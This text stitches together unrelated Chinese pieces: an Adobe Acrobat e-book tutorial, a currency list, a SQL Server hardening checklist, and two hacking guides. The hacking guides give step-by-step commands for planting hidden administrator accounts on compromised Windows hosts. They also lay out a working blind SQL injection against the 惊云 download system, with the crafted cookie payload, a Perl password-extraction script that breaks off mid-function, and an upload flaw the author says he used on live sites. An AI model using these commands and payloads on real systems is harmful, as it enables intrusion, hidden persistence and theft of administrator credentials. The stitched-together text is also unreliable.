⑵将Acrobat中打开的文件另存在AdobeAcrobat程序中,从“File”菜单中选择“Open”命令,在“打开”对话框中的“文件类型”下拉列表框中选择“AllFiles(.)”,然后找到欲转换为PDF的文件,单击“打开”按钮,最后将它另存为一个新的PDF格式的文件就可以了。 ⑶通过“打印”命令创建其实这一种方式与前面谈到的使用PDFWriter创建PDF文档的方法差不多,只不过这次是从“打印机名称”下拉列表框中选择“AcrobatDistiller”而已(如图6所示),其它的没有什么区别。 由于AdobeAcrobat的图形编辑、处理能力等并不是很出色,笔者建议最好先使用其它软件完成文字输入、图片的处理、整体排版等工作,这样可以省去很多功夫。 三、对PDF文档进行美化如果你只是想自己学会制作PDF格式的电子图书,那么上面提到的4种方法都可以达到目的。不过,为了让这本自主版权《笑傲江湖》电子图书阅读起来更为方便(同时也是为了提升它的档次),那么请继续随我来吧: 1.设置合适的页面大小打开《笑傲江湖》电子文档,选择单页布局方式,然后切换到第一页,双击工具栏上的裁剪工具,或者从“Document”菜单中执行“CropPages”命令,将会看到的“CropPages”对话框,在这里你可以调整文档中一页或所有页面的页边距。 在Top、Left、Right、Bottom列表框(图7)中可以对上、左、右、下页边距进行精确的调整,选择“All”可以将页边距应用到整个文档,选择“Fromto”则是将页边距应用到指定页面。在“Crop”下拉列表框中还可以选择所有页面、偶数和奇数页面、仅奇数页面、仅偶数页面等选项。裁剪工具并不减小文件的大小,不过这一操作无法撤销,因此在执行前请仔细检查。 2.插入遗漏章节有时候,你可能在制作完成后,才忽然发觉漏掉其中的某一章节,这可怎么办,总不成全部重来吧?当然不需要,AdobeAcrobat可以很轻松完成这一切。 首先,打开已完成部分的《笑傲江湖》电子文档,然后从“Document”菜单中执行“InsertPages”命令,选择准备添加的源文档,选择好后会弹出一个对话框询问源文档的插入位置(图8),可以从“Location”下拉列表框中选择Before、After,确定文档的插入位置可以规定源文档是插在第一页、最后一页、输入的页码之前或之后等,一切选择好后,点击“确定”按钮就可以完成添加工作,假如还有其它章节需要插入,可以按照刚才的方法继续添加。当然,更为简单的方法是从资源管理器直接将欲合并的PDF文档拖放至已打开的主文档区,以后的步骤完全一致。 3.设置文本属性使用“TouchUpTexttool”工具选择所需的文字,然后选择快捷命令“Properties”,在如图9所示的对话框中设置文本的字体、大小、颜色等属性,不过这里要提醒的是尽量使用系统默认的宋体,以便减少字体尺寸,如果你无法确认使用的字体在对方的系统中是否安装,可以勾选“Embed”嵌入,不过这样做会使PDF文档变得非常大,一般情况下不推荐如此做。 4.创建书签书签提供了直观目录,通常代表文档中的章节和其它组织项目,这样会使读者的阅读轻松不少。 在导航栏中点击“Bookmarks”图标,再点击“Bookmars”右下角的小箭头,选择“NewsBookmark”命令,输入书签名字如“第一章《灭门》”,按回车键确定,然后右击该书签,选择“Properties”命令,在如图10所示的“BookmarkProperties”对话框中进行有关项目的设置,如在“Action”的“Type”下拉列表框中选择“GotoView”,然后在对话框外切换到所需要的页面,并调整好显示比例,最后点击“SetAction”按钮完成。其它如第二章《聆秘》、第三章《救难》等书签可按照同样的方法制作,最后制作好的标签如图11所示。 5.制作MouseOver按钮如果你的AdobeAcrobat是完全版本的话,那么就可以利用Form工具来控制页面的触发事件,例如在页面打开时播放一段你喜欢的MP3音乐,或者通过具有MouseOver效果链接的图标来打开一个特定的文件、电影片段等,这样在阅读时除了视觉的享受之外还可以听到美妙的音乐呢! 下面就以制作带有OnMouse效果的跳转页面按钮为例介绍: 单击左侧工具栏中的“FormTool”工具,这时光标将变成一个十字形的图标,利用它在页面上拖出一个区域,你马上就可以看到如图12所示的“FieldProperties”对话框: Name:为这个表单起一个唯一的名字Type:这是一个下拉列表框,有Button、CheckBox、ComboBox、ListBox、RadioButton、Signature、Text等七种类型,这里当然选择“Button(按钮)”啦。 ShortDescription:在这里可以输入一些简单的说明文字,方便以后的查找。 发下是六个标签页,点击后可以进行不同的设置。 Appearance:在“Border”区,我们可以定义按钮边框、背景颜色、宽度和边框的类型;在“Text”区,可以定义文字的颜色、字体、大小;在“CommonProperties”区可以定义注释的类型和边框可见方式。 Options:在“Aligment”下拉列表框中,你可以选择触发事件时是使用鼠标的左键、中键、右键,系统缺省是使用左键。 Actions:定义详细的触发事件,在左边的“Whenthishappens”框中,建议选择“MouseUp”,右边则是定义当事件触发时,发生什么事件,点击“Add”按钮可以在图中看到一共有13种选项可供选择,如果你想产生切换页面的效果,可以选择JavaScript项。 Format、Validate、Calculate等标签页并无多大实用意义,可以取默认值,这里就不多介绍了。 完成所有设置后,点击“确定”按钮,一个“MouseOver”样式的按钮就制作完成,如果你愿意,还可以在“Action”中加入声音、动画等。 6.给PDF文档加印章你也可像在一个纸张文档上使用橡皮印章一样,用Acrobat来给你的文档盖上一个印章。下面你将给文章的封面加盖一个印章。 (1)在页面框上移动指针直到它变为一个I字光标,然后双击突出的当前页码。 (2)在批注工具上按住鼠标按钮以显示一套隐藏工具,拖动并选取印章工具。(如图13) (3)单击页面的左上角。默认时,出现“批准”印章。 你可从Acrobat印章库中选择另一个不同的印章。 (4)选择“编辑”→“属性”。 (5)从“分类”菜单中选取“标准”,从对话框左面窗口的列表中选择“草稿”,并单击“确定”。 (6)选择手形工具,在文档窗口内单击以取消选取的印章。 除了从Acrobat印章库使用印章外,你可创建你自己定义的印章,并以批注方式来使用它们。 (7)选择“文件”→“保存”以保存该文件。 7.文档加密设置如果你不希望别人对你制作的PDF电子书做修改或者其他一些损害你利益的事情,建议你对文档进行加密设置。加密设置具体如下: 单击Acrobat菜单“File”→“DocumentSecurity”选项,在弹出的对话框中的“SecurityOptions”下拉菜单中选择“AcrobatStandardSecurity”选项,弹出对话框(图14): 如果希望用户需要密码才能阅读,请选择“PasswordRequiredtoOpenDocument”(并输入用户打开文档时需要的密码)。 建议选择“PasswordRequiredtoChangePermissionsandPasswords”选项,即只有制作者才可以修改文档信息及文档安全性密码。 在“EncryptionLevel”(加密级别)中可以选择使用的加密级别:包括40-bit和128-bit两种方式,其中128-bit只能针对5.0版本,所以建议选择40-bit即可,以确保文档的向下兼容。 我们这里还选择了“NoChangingtheDocument”,即不允许用户修改文档中的任何部分。如果需要禁止用户打印和复制文档中的文字和图片还可以勾选“NoPrinting”、“NoContentCopyingorExtraction,DisableAccessibility”选项。如果不允许用户加入或者改变注释、表格域可以勾选“NoAddingorChangingCommentsandFormFields”选项。 设置完所有设置以后,点击OK关掉对话框即可。 总的来说,AdobeAcrobat是一款功能极其强大的电子文档制作工具,除了制作、阅读PDF文档以外,你还可以使用AdobeAcrobat实现在PDF文档中加入JavaScript脚本、将PDF文档作为电子邮件的邮件发送出去、在网页中使用PDF文档、添加电影和声音剪辑文件、编辑PDF页面中的图形/图像对象、图文演示等功能,不过由于篇幅所限,在这里就不多作介绍了。 |
一、人民币
二、英镑
三、哈萨克斯坦里格
四、泰国铢
五、欧元
六、缅甸元
七、南非兰特
八、马尔代夫拉菲亚
九、斯里兰卡卢比
十、塔吉克斯坦索莫尼
十一、挪威克郎
十二、越南盾
十三、圭亚那元
十四、哥伦比亚比索
十五、美元(背面)
十六、加拿大元
十七、印度尼西亚卢比(盾)
十八、巴布亚新几内亚基
十九、俄罗斯卢布
二十、印度卢比
二十一、中国台湾元
二十二、中国澳门元
二十四、中国香港元
二十五、德国马克
二十六、美元(正面)
二十七、意大利里拉
二十八、爱尔兰镑
二十九、澳大利亚元
三十、法国法郎
三十一、沙特阿拉伯里亚尔
三十二、西班牙比塞塔
三十三、圣马力诺意大利里拉
三十四、圣多美和普林西比多布拉
三十五、葡萄牙埃斯库多
三十六、罗马尼亚列伊
三十七、瑞士法郎
三十八、蒙古图格里克
三十九、荷兰盾
四十、日本元
四十一、韩国元
四十二、苏里南盾
四十三、土耳其里拉(大家数数有几个零)!!
四十四、新加坡元
四十五.阿尔巴比亚 列克
四十六.阿尔及利亚 第纳尔
四十七.阿富汗 尼
四十八.阿根廷 比索
四十九.阿拉伯联合酋长国 迪拉姆
五十.阿曼 里亚尔
在这里将用at的命令,因为用at产生的计划任务是以系统身份运行的,所以也用不到psu.exe程序。为了能够使用at命令,肉鸡必须开
有schedule的服务,如果没有开启,可用流光里带的工具netsvc.exe或sc.exe来远程启动,当然其方法也可以,只要能启动schedule服
务就行。
对于命令行方式,你可以采用各种连接方式,如用SQLexec连接MSSQL的1433端口,也可以用telnet服务,只要以你能得到一个cmdshell
,并且有运行at命令的权限就可以。
1、首先找到一台肉鸡,至于如何来找那不是我这里所说的话题。这里先假设找到一台超级用户为administrator,密码为12345678的肉
鸡,现在我们开始在命令行下远程为它建立隐藏的超级用户。(例子中的主机是我的局域网内的一台主机,我将它的ip地址改为
13.50.97.238,,请勿在互联网上对号入座,以免骚扰正常的ip地址。)
2、先与肉鸡建立连接,命令为: net use \\13.50.97.238\ipc$ "12345678" /user:"administrator
3、用at命令在肉鸡上建立一个用户(如果at服务没有启动,可用小榕的netsvc.exe或sc.exe来远程启动):at \\13.50.97.238 12:51
c:\winnt\system32\net.exe user hacker$ 1234 /add
建立这个加有$符的用户名,是因为加有$符后,命令行下用net user将不显示这个用户,但在帐户管理器却能看到这个用户。
4、同样用at命令导出HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users下键值:at \\13.50.97.238 12:55
c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\
/e 是regedit.exe的参数,在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\这个键的一定要以\结尾。必要的情况下可以用引
号将"c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\"引起来。
5、将肉鸡上的hacker.reg下载到本机上用记事本打开进行编辑命令为:copy \\13.50.97.238\admin$\system32\hacker.reg
c:\hacker.reg
修改的方法图形界中已经介绍过了,这里就不作介绍了。
6、再将编辑好的hacker.reg拷回肉鸡上 copy c:\hacker.reg \\13.50.97.238\admin$\system32\hacker1.reg
7、查看肉鸡时间:net time \\13.50.97.238 然后用at命令将用户hacker$删除:
at \\13.50.97.238 13:40 net user hacker$ /del
8、验证hacker$是否删除:用
net use \\13.50.97.238 /del 断开与肉鸡的连接。
net use \\13.50.97.238\ipc$ "1234" /user:"hacker$" 用帐户hacker$与肉鸡连接,不能连接说明已删除。
9、再与肉鸡建立连接:net use \\13.50.97.238\ipc$ "12345678" /user:"administrator"
再取得肉鸡时间,用at命令将拷回肉鸡的hacker1.reg导入肉鸡注册表:
at \\13.50.97.238 13:41 c:\winnt\regedit.exe /s hacker1.reg
regedit.exe的参数/s是指安静模式。
10、再验证hacker$是否已建立,方法同上面验证hacker$是否被删除一样。
11、再验证用户hacker$是否有读、写、删的权限,如果不放心,你还可验证是否能建立其它帐户。
12、通过11可以断定用户hacker$具有超级用户权限,因为最初我用at命令建立它的时候是一个普通用户,而现在却具有远
程读、写、删的权限。
三、如果肉鸡没有开3389终端服务,而我又不想用命令行,怎么办?
这种情况下,你也可以用界面方式来远程为肉鸡建立隐藏的超级用户。因为regedit.exe、regedt32.exe都有连接网络注册表的功能,
你可以用regedt32.exe来为远程主机的注册表项设置权限,用regedit.exe来编辑远程注册表。帐户管理器也有一项连另一台计算机的
功能,你可以用帐户管理器为远程主机建立和删除帐户。具体步聚与上面介绍的相似,我就不多说了,只它的速度实在是令人难以忍受
。
但是这里有两个前提:1、先用net use \\肉鸡ip\ipc$ "密码" /user:"超级用户名"来与远程主机建立连接以后,才能用regedit.exe
regedt32.exe及帐户管理器与远程主机连接。
2、远程主机必须开启远程注册表服务(没有开启的话,你也可以远程开启,因为你有超级用户的密码了)。
四、利用被禁用的帐户建立隐藏的超级用户:
我们可以用肉鸡上被禁止的用户来建立隐藏的超组用户.方法如下:
1.想办法查看有哪些用户被细心的管理员禁止,一般情况下,有些管理员出于安全考虑,通常会将guest禁用,当然了会禁用其它用户
。在图形界面下,非常容易,只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉;而在命令行下,我还没有想到好的办法,只
能在命令行下用命令:"net user 用户名"一个一个来查看用户是否被禁用。
2.在这里,我们假设用户hacker被管理员禁用。首先,我先用小榕的超组用户克隆程序CA.exe,将被禁用的用户hacker 克隆成超级用
户(克隆之后,被禁用的用户hacker就会自动被激活了): CA.EXE \\肉鸡ip administrator 超级用户密码 hacher hacher密码。
3.如果你现在一个cmdshell,如利用telnet服务或SQLEXEC连接肉鸡的msSQL的默认端口1433得到的shell都可以,这时你只要输入命令
:
net user hacker /active:no 这样用户hacker就被禁用了(至少表面上是这样的),当然你也可以将用户hacher换成其它的被禁用的
用户。
4.这时如果你在图形界面下看帐户管理器中的用户时,会发现用户hacker被禁用了,但事实上是这样的吗?你用这个被禁用的用户连接
一下肉鸡看看是否能连上?用命令:net user \\肉鸡ip\ipc$ "hacker密码" /user:"hacker" 连一连看看。我可以告诉大家,经过我
多次试验,次次都能成功,而且还是超级用户权限。
5.如果没有cmdshell怎么办?你可以我上面介绍的at命令来禁用用户hacker;命令格式:at \\肉鸡ip 时间 net user hacker
/active:no
6.原理:具体的高深的原理我也说不上来,我只能从最简单的说。你先在图形界面下在帐户管理器中禁用一下超级用户administrator
看看,肯定会弹出一对话框,并禁止你继续禁用超级用户administrator,同样,因为在克隆时,hacker在注册表的"F"键被超级用户
administrator在注册表的"F"键所替代,因而hacker就具有了超级用户的权限了,但是由于hacker在注册表内"C"健还是原来的"C"键,
所以hacker还是会被禁用,但是它的超级用户权限却不会被禁用,因此被禁用的用户hacker还是可以连接肉鸡,而且还具有超级用户的
权限。具体我也说不明白,大家权且这么理解吧。
五、注意的几点事项:
1、隐藏的超级用户建立以后,在帐户管理器中和命令行下均看不到这个用户,但这个用户却存在。
2、隐藏的超级用户建立以后,就不能再修改密码了,因为一旦修改密码,这个隐藏的超级用户就会暴露在帐户管理器中,而且不能删
除。
3、如在本机上试验时,最好用系统自带的备份工具先备份好本机的“系统状态”主要是注册表的备份,因为本人做试验时,曾出现过
帐户管理器中看不到任何用户,组中也看不到任何组的现象,但它们却存在。幸好我有备份,呵呵。SAM键是毕竟系统最敏感的部位。
4、本方法在2000/XP上测试通过,未在NT上测试。本方法仅供研究,请勿将本方法用于破坏上,利用本方法造成严重后果者,由使用者
负责,本人概不负责。
4、转载时请保留作者信息,谢谢!
李天东2002年12月23日完稿于东东网络实验室
转贴自:http://www.sqlsecurity.com
1. 确认已经安装了NT/2000和SQL Server的最新补丁程序,不用说大家应该已经安装好了,但是我觉得最好还是在这里提醒一下。
2. 评估并且选择一个考虑到最大的安全性但是同时又不影响功能的网络协议。 多协议是明智的选择, 但是它有时不能在异种的环境中使用。
3. 给 "sa" 和 "probe" 帐户设定强壮的密码来加强其安全性。设定一个强壮的密码并将其保存在一个安全的地方。 注意: probe帐户被用来进行性能分析和分发传输。 当在标准的安全模态中用的时候 , 给这个帐户设定高强度的密码能影响某些功能的使用。
4. 使用一个低特权用户作为 SQL 服务器服务的查询操作账户,不要用 LocalSystem 或sa。 这个帐户应该有最小的权利 ( 注意作为一个服务运行的权利是必须的)和应该包含( 但不停止)在妥协的情况下对服务器的攻击。 注意当使用企业管理器做以上设置时 , 文件,注册表和使用者权利上的 ACLs同时被处理。
5. 确定所有的 SQL 服务器数据,而且系统文件是装置在 NTFS 分区,且appropraite ACLs 被应用。 如果万一某人得到对系统的存取操作权限,该层权限可以阻止入侵者破坏数据,避免造成一场大灾难。
6.如果不使用Xp_cmdshell就关掉。 如果使用 SQL 6.5, 至少使用Server Options中的SQLExecutieCmdExec 账户操作限制非sa用户使用XP_cmdshell.
在任何的 isql/ osql 窗口中( 或查询分析器):
use master
exec sp_dropextendedproc'xp_cmdshell'
对 SQLExecutiveCmdExec 的详细情况请查看下列文章:
http://support.microsoft.com/support/kb/article/Q159/2/21.
如果你不需要 xp_cmdshell 那请停用它。请记住一个系统系统管理员如果需要的话总是能把它增加回来。这也好也不好 - 一个侵入者可能发现它不在,只需要把他加回来。考虑也除去在下面的 dll但是移除之前必须测试因为有些dll同时被一些程序所用。 要找到其他的程序是否使用相同的 dll:
首先得到该 dll 。
select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and o.name='xp_cmdshell'
其次,使用相同的 dll发现其他的扩展储存操作是否使用该dll。
select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and c.text='xplog70.dll'
用户可以用同样的办法处理下面步骤中其他你想去掉的进程。
7. 如不需要就停用对象连接与嵌入自动化储存程序 ( 警告 - 当这些储存程序被停用的时候 , 一些企业管理器功能可能丢失). 这些包括:
Sp_OACreate
Sp_OADestroy
Sp_OAGetErrorInfo
Sp_OAGetProperty
Sp_OAMethod
Sp_OASetProperty
Sp_OAStop
如果你决定停用该进程那么请给他们写一个脚本这样在以后你用到他们的时候你能够把他们重新添加回来 。 记住, 我们在这里正在做的是锁定一个应用程序的功能 - 你的开发平台应该放到其他机器上。
8. 禁用你不需要的注册表存取程序。(同上面的警告)这些包括:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regremovemultistring
注意 :我过去一直在这里列出 xp_regread/ xp_regwrite但是这些程序的移除影响一些主要功能包括日志和SP的安装,所以他们的移除不被推荐。
9.移除其他你认为会造成威胁的系统储存进程。 这种进程是相当多的,而且他们也会浪费一些cpu时间。 小心不要首先在一个配置好的服务器上这样做。首先在开发的机器上测试,确认这样不会影响到任何的系统功能。在下面是我们所推荐的有待你评估的一些列表:
sp_sdidebug
xp_availablemedia
xp_cmdshell
xp_deletemail
xp_dirtree
xp_dropwebtask
xp_dsninfo
xp_enumdsn
xp_enumerrorlogs
xp_enumgroups
xp_enumqueuedtasks
xp_eventlog
xp_findnextmsg
xp_fixeddrives
xp_getfiledetails
xp_getnetname
xp_grantlogin
xp_logevent
xp_loginconfig
xp_logininfo
xp_makewebtask
xp_msver xp_perfend
xp_perfmonitor
xp_perfsample
xp_perfstart
xp_readerrorlog
xp_readmail
xp_revokelogin
xp_runwebtask
xp_schedulersignal
xp_sendmail
xp_servicecontrol
xp_snmp_getstate
xp_snmp_raisetrap
xp_sprintf
xp_sqlinventory
xp_sqlregister
xp_sqltrace
xp_sscanf
xp_startmail
xp_stopmail
xp_subdirs
xp_unc_to_drive
xp_dirtree
10. 在企业管理器中"安全选项" 之下禁用默认登录。(只有SQL 6.5) 当使用整合的安全时候,这使未经认可的不在 syslogins 表中使用者无权登陆一个有效的数据库服务器。
11. 除去数据库的guest账户把未经认可的使用者据之在外。 例外情况是master和 tempdb 数据库,因为对他们guest帐户是必需的。
12. 若非必须,请完全地禁用SQL邮件功能。它的存在使潜在的攻击者递送潜在的 trojans ,病毒或是简单实现一个DOS攻击成为可能
13. 检查master..Sp_helpstartup看有无可疑的木马进程。 确定没有人已经在这里放置秘密的后门程序。 使用 Sp_unmakestartup 移除任何可疑进程。
14. 检查master..Sp_password看有无trojan代码。比较你的产品scripts和一个新安装的系统的默认scripts而且方便的保存。
15. 记录所有的用户存取访问情况。 从企业管理器做这些设定或通过以sa登陆进入查询分析器的下列各项:
xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\ Microsoft\MSSQLServer\MSSQLServer',N'AuditLevel',REG_DWORD,3
16. 重写应用程序使用更多用户定义的储存和察看进程所以一般的对表的访问可以被禁用。 在这里你也应该看到由于不必经常进行查询计划操作而带来的性能提升。
17. 除去不需要的网络协议。
18. 注意SQL 服务器的物理安全。把它锁在固定的房间里,并且注意钥匙的安全。只要有机会到服务器面前,就总是会找到一个方法进入。
19. 建立一个计划的任务运行:
findstr/C:" Login Failed"\mssql7\log\*.*'
然后再重定向输出到一个文本文件或电子邮件,因此你监测失败的登录尝试。这也为系统管理员提供一个好的记录攻击的方法。 也有很多用来分析NT日志事件的第三者工具。 注意: 你可能需要将路径换成你安装SQL的路径。
20. 设定非法访问和登陆失败日志警报。到 企业管理器中的"Manager SQL Server Messages "搜寻任何有关无权访问的消息 ( 从查找"login failed"和"denied"开始). 确定你所有感兴趣的信息被记录到事件日志。然后在这些信息上设定警报 , 发送一个电子邮件或信息到一个能够对问题及时响应的操作员。
21. 确定在服务器和数据库层次上的角色都只被授给了需要的用户。 当 SQL Server 安全模型 7 有许多增强的时候, 它也增加额外的许可层,我们必须监控该层,确定没有人被授予了超过必需的权限。
22. 经常检查组或角色全体会员并且确定用组分配权限,这样你的审计工作能够简化。 确定当你在的时候 , 公众的组不能从系统表执行选择操作。
23. 花些时间审计用空密码登陆的请求。 使用下面的代码进行空密码检查:
使用主体
选择名字,
password
from syslogins
where password is null
order by name
24. 如果可能,在你的组织中利用整合的安全策略。 通过使用整合的安全策略,你能够依赖系统的安全,最大简化管理工作从维护二个分开的安全模型中分离开来。这也不让密码接近连接字串。
25. 检查所有非sa用户的存取进程和扩充存储进程的权限。 使用下面的查询定期的查询哪一个进程有公众存储权限。(在SQL Server中 使用 "type" 而不是 "xtype"):
Use master
select sysobjects.name
from sysobjects,sysprotects
where sysprotects.uid=0
AND xtype 在 ('X','P')
AND sysobjects.id=sysprotects.id
Order by name
26. 当时用企业管理器的时候,使用整合的安全策略。 过去,企业管理器被发现在标准的安全模态中储存 "sa" 密码在注册表的 plaintext 中。 注意: 即使你改变模态,密码也会留在注册表中。 使用 regedit 而且检查键:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\
MSSQLServer\SQLEW\ Regedi\
SQL 6.5
现在数据被隐藏在
HKEY_USERS\{yourSID}\software\Microsoft\Microsoft SQL server\80\tool\SQLEW\registered server X\SQL server group
("SQL server组" 是默认值但是你可能已建立用户组因此相应地改变其位置)
27. 发展一个审核计划而且订定每月的安全报告,对IT主管可用的报表包括任何的新exploit,成功的攻击 , 备份保护 , 和对象存取失败统计。
28. 不要允许使用者交互式登陆到 SQL Server之上。这个规则适用任何的服务器。 一旦一个使用者能够交互式进入一个服务器之内,就有能用来获得管理员的存取特权得到管理员权限。
30. 尽力限制对SQL Server的查询与存取操作。 用户可以用最小权限查询sql server中的很多东西。若非必须不要给他们机会
惊云下载系统edit.asp文件存在SQL注入漏洞,后台存在任意文件上传漏洞 惊云下载系统以前有个漏洞好象在user.asp,不知现在修补没有。本人这次和大家讲件edit.asp文件的漏洞,一来发布一个 漏洞,二教教大家如何发现和利用漏洞。我一行一行解释。 <% user=Request.cookies("JyDownUserName") '取得用户COOKIE并存入USER变量
if user<>"" then user=replace(user," ","+++ close") '给USER变量替换空格 else response.write("<li>您没有进入本页面的权限,本次操作已被记录!<br><li>如果你是本站会员请先<a href=login.asp target=_top>登陆</a>后进入.") response.end end if '上面判断COOKIE是否为空,空则跳转,等会我们构造COOKIE欺骗,让JyDownUserName这个COOKIE值不为空,至于为多少,等会说。
server_vv=len(Request.ServerVariables("SERVER_NAME")) server_v1=left(Cstr(Request.ServerVariables("HTTP_REFERER")),server_vv) server_v2=left(Cstr("http://"&Request.ServerVariables("SERVER_NAME")),server_vv) if server_v1<>server_v2 and server_v1<>"" and server_v2<>"" then response.write("<script>alert('错误:禁止从站点外部提交数据!.')</script>") response.end end if '上面判断网页是否是从浏览器点击而进入的,我们同样可以伪造是这个地方为真,再此不再赘述 %>
<!--#include file="mdb_path_user.asp"--> <!--#include file="char.inc"--> <!--#include file="config.asp"--> '上面是头文件包含,没什么用,忽略就行了
<% pwd=replace(request.form("pwd")," ","+++ close") set rs=server.CreateObject("ADODB.RecordSet") rs.open "select * from UserInfo where user='"&user&"'",conn,1,2 '关键的一句注入点,因为user=replace(Request.cookies("JyDownUserName"),," ","+++ close"),很明显没有过滤单引号 if rs.eof then JyDownMsg="错误:"&user&"用户资料读取错误,请重新登陆!" '注入条件判断语句,没有它都不能确定是否成功,返回此句代表失败 else if request("type")="save" then if pwd="" then JyDownMsg="错误:要修改资料必需填写原密码!" else if pwd<>rs("pwd") then JyDownMsg="错误:原密码错误!" '注入条件判断语句,没有它都不能确定是否成功,返回此句代表成功,至于为什么我真得无法用语言表达了,还是自己想吧。这句以下已经没有意义了。解释至此 else qm=htmlencode(request.form("qm")) if len(qm)>250 then JyDownMsg="错误:个性签名多于250个字符!" else .........
好了,已经知道注入的地方,而且知道成功的标志,同时知道表的结构(网上可以找到嘛),便可以利用了。 到底如何利用呢?当然最好是搞定管理员的用户和密码拉。
我用WSE抓包后,整理如下(以我自己的机器做实验)
POST /admin/edit.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */* 1 Referer: http://localhost/ Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2) Host: localhost Content-Length: 125 Connection: Keep-Alive cache-Control: no-cache 2 Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=aaaaaaaa'%09union%09select%09*%09from%09userinfo%09where%09id%3D1%09and%09len(pwd)%3D1%09and%09'1%3D1
type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oicq=33337788&email=fsadf@fsf.com&homepage=&qm=&softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4
上面两处是需要注意的,有序号。其他地方随便添,按照我上面的就行了。
1处是为了逃避上面讲到的防网页不是从点击近来的,把这个值设为网址就行了,没什么好讲的。 2处是最关键的,我上面提到了COOKIE欺骗,这里不但要欺骗还有注入。
JyDownUserName这个值我们把它设为了 aaaaaaaa' union select * from userinfo where id=1 and len(pwd)=1 and '1=1 这个。上面是经过编码的。其中%09是TAB键的编码,为了躲过空格过滤。它和空格是等价的,真的谢谢MS工程师开发软件总是为用户着想,生怕功能不强。 程序作者只过滤了空格欠考虑。
把上面的值代入到原程序总就变为了(应该学过代数啊,呵呵) select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=1 and '1=1'
那个a串没什么意义,就是为了使前面语句为假,没有这个用户就行了,可以是任意特殊字符串。后面的SELECT是重点。 ID=1是猜id为1的用户,其实就是管理员用户。不过有的管理员可能改了,那就不灵了。猜他的长度是不是1。 很显然是1可能性很小,不要紧,猜错了,会返回“错误:....用户资料读取错误,请重新登陆!”中间省了一部分。 我们把语句换成 select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=2 and '1=1' 返回“错误:....用户资料读取错误,请重新登陆!”,看来用户名长度也不是2,再换。
换到5是返回 "错误:原密码错误!",看来用户名长度就是5了。同样方法猜出密码长度7。
该猜字符。 select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and asc(mid(user,1,1)=40 and '1=1' 上面的语句大家能看懂吧?用mid函数是截取一个字符,然后转换成ASCII码,再和40比较。返回错误,说明user的第一个字符ASCII值不是40。
猜到97的时候返回"错误:原密码错误!",说明用户名第一个字符是a 。
以此类推,猜出user是admin,pwd是abcdefg.管理员的用户密码猜出来了。
上面的过程显然不可能手工输入和猜测,必须依靠工具。现成的也没有这种工具,鄙毕人就抽了宝贵的打牌(QQ升级)时间了写了个程序,很快就猜出来了。上面是方法。
我用我写的程序在网上实验,真是无往不利。就是在GOOGLE上搜惊云系统,管理员很快猜出来了。
我登陆一个网站后,发现有个地方可以上传文件。我回过头读源代码,发现了和动网一样的文件上传漏洞,都是在路径上没做检查,允许远程命名文件名。
我抓包,提交,恩,成功。顺便又写了个脚本。这个漏洞没什么好讲的,还是看动画怎么做吧。
|
|
下面事猜管理员密码的源代码
#!/usr/bin/perl
use IO::Socket;
use threads;
$lhost = $ARGV[0];#主机IP
$port = $ARGV[1];#端口号,默认80
$path = $ARGV[2];
$id = $ARGV[3];
$mod = $ARGV[4];
$char = $ARGV[5];
$argv_len=@ARGV;
if($argv_len<=4) { usage(); exit(); }
if($mod==0)
{
get_user_len($id);
get_pwd_len($id);
}
elsif($mod==1)
{
#get_user($id,$char);
my $i;
for($i=1;$i<=$char;$i++)
{
$t[$i]=threads->new(\&get_user,$id,$i);
}
for($i=1;$i<=$char;$i++)
{
$t[$i]->join();
}
}
elsif($mod==2)
{
#get_pwd($id,$char);
my $i;
for($i=1;$i<=$char;$i++)
{
$t[$i]=threads->new(\&get_pwd,$id,$i);
}
for($i=1;$i<=$char;$i++)
{
$t[$i]->join();
}
}
exit();
sub get_user()
{
my($id,$char_now)=@_;
my $aaa=bin_s(0,123,$path,$char_now,$id);
print "The $char_now char:".chr($aaa)."\n";
}
sub bin_s()
{
my ($low,$high,$path,$char_now,$id)=@_;
my $lh=($low+$high)/2;
my $aaaa=$lh-int($lh);
my $mid;
if($aaaa>0)
{
$mid=int($lh)+1;
}
else
{
$mid=int($lh);
}
my $mid_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*%0 9from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(user ,$char_now,1))>".$mid."%09and%09'1%3D1");
my $mid1_flag;
if($mid_flag==0)
{
$mid1_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(use r,$char_now,1))%3D".$mid."%09and%09'1%3D1");
}
else
{
$mid1_flag=0;
}
#print "\n low:$low mid:$mid high:$high $mid_flag $mid1_flag char_now:$char_now id:$id";
if($mid_flag==0&&$mid1_flag==1)
{
return $mid;
}
elsif($mid_flag==1&&$mid1_flag==0)
{
bin_s($mid,$high,$path,$char_now,$id);
}
elsif($mid_flag==0&&$mid1_flag==0)
{
bin_s($low,$mid,$path,$char_now,$id);
}
}
sub get_pwd()
{
my($id,$char_now)=@_;
my $aaa=bin_pwd_s(0,123,$path,$char_now,$id);
print "The $char_now char:".chr($aaa)."\n";
}
sub bin_pwd_s()
{
my ($low,$high,$path,$char_now,$id)=@_;
my $lh=($low+$high)/2;
my $aaaa=$lh-int($lh);
my $mid;
if($aaaa>0)
{
$mid=int($lh)+1;
